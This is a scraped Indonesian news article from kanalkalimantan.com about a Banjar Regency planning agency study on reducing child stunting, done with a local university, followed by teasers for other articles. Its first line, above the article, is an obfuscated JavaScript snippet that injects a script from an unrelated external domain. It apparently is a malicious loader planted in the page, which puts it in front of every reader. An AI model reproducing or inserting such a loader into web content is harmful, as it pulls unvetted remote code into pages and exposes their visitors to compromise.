(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Pemerintah Kabupaten Banjar melalui Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Banjar menggelar ekspose Pendahuluan terkait kajian Analisis Kebijakan Percepatan Penurunan Angka Prevalensi Stunting di Kabupaten Banjar hasil kerjasama dengan Universitas Islam Kalimantan Jumat (12/5/2023) pagi, di aula Bauntung Martapura.
Stunting adalah masalah serius yang terjadi saat anak tidak mencapai pertumbuhan fisik dan perkembangan yang optimal akibat kekurangan nutrisi dan faktor-faktor lainnya.
Guna mengatasi stunting, diperlukan strategi yang komprehensif dan berkelanjutan.
Kegiatan pagi itu dibuka oleh kepala Bappedalitbang Hj Siti Hamidah dihadiri beberapa SKPD terkait yaitu Dinas Kesehatan, DKISP, Dinas Pendidikan, DP2KBP3A, Dinas PUPR, Dinas Pangan dan Perikanan, Dinas Pertanian, Bappedalitbang serta undangan terkait lainnya.
Baca juga: 50 Peserta Ikuti Pelatihan Penanggulangan Bencana di Martapura Barat
Hj Siti Hamidah dalam sambutannya mengatakan stunting menjadi salah satu konsentrasi pemerintah pusat dan daerah untuk sama-sama menurunkannya karena stunting dapat menggagalkan masa depan anak bangsa.
“Dengan adanya kajian ini diharapkan penanganan dan penurunan angka stunting di kabupaten dapat lebih cepat karena dengan bebas stunting Kabupaten Banjar akan lebih maju kedepannya,” ujar Hamidah sapaan akrab Kepala Bappedalitbang Banjar.
Sementara itu tim peneliti Uniska, Nurul Indah Qariati, memaparkan bahwa penelitian atau kajian ini untuk mencari kendala yang menjadi penghambat dari program percepatan penurunan angka prevalensi stunting yang ada di Kabupaten Banjar.
Dilatarbelakangi oleh hasil SSGI 2022 di mana Kabupaten Banjar mengalami penurunan angka prevalensi stunting dari 40,2 persen di 2021 menjadi 26,4 persen di 2022.
Kendati demikian angka tersebut lebih tinggi daripada prevalensi angka stunting nasional yaitu 21,6 persen dan Provinsi Kalimantan Selatan, yaitu 24,6 persen oleh karena itu diperlukan strategi dan arah kebijakan untuk menurunkan stunting agar sesuai dengan ambang batas yang ditetapkan oleh WHO.
Baca juga: Tindak Lanjut Banjir Jejangkit Tidak Jelas, Walhi Kalsel Dampingi Warga Datangi BWS Kalsel
“Dari hasil penelitian yang kita lakukan, kita akan memperoleh model kebijakan yang tepat sasaran dan sesuai dengan kebutuhan daerah Kabupaten Banjar dalam menurunkan angka prevalensi stunting,” jelas Qari.
Penelitian ini akan dilakukan di 20 kecamatan Kabupaten Banjar pada Mei hingga September 2023 dengan metode kajian field story secara kualitatif.
Secara rinci metode kajian kualitatif digunakan untuk menelaah beberapa dokumen peraturan daerah, perencanaan strategis daerah, serta wawancara kepada stakeholder yang terlibat.(kanalkalimantan.com/Bappedalitbang/kk)
Reporter: kk
Editor: Dhani
KANALKALIMANTAN.COM, - Asuransi merupakan salah satu bentuk perlindungan yang perlu dimiliki setiap orang. Dengan memiliki… Read More
KANALKALIMANTAN.COM - Peringatan Hari Lupus Sedunia ini diadakan pada tanggal 10 Mei setiap tahunnya. Hari… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Buaya yang kerap muncul di Sungai Pelambuan, Kecamatan Banjarmasin Barat, Kota Banjarmasin,… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pelaksaanan program TNI Manunggal Membangun Desa (TMMD) ke-120 Kodim 1001/HSU-BLG di Desa… Read More
KANALKALIMANTAN.COM, BANJARBARU - Hj Raudatul Jannah atau Acil Odah siap ramaikan kontestasi Pemilihan Kepala Daerah… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara melaksanakan Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana Pembangunan… Read More
This website uses cookies.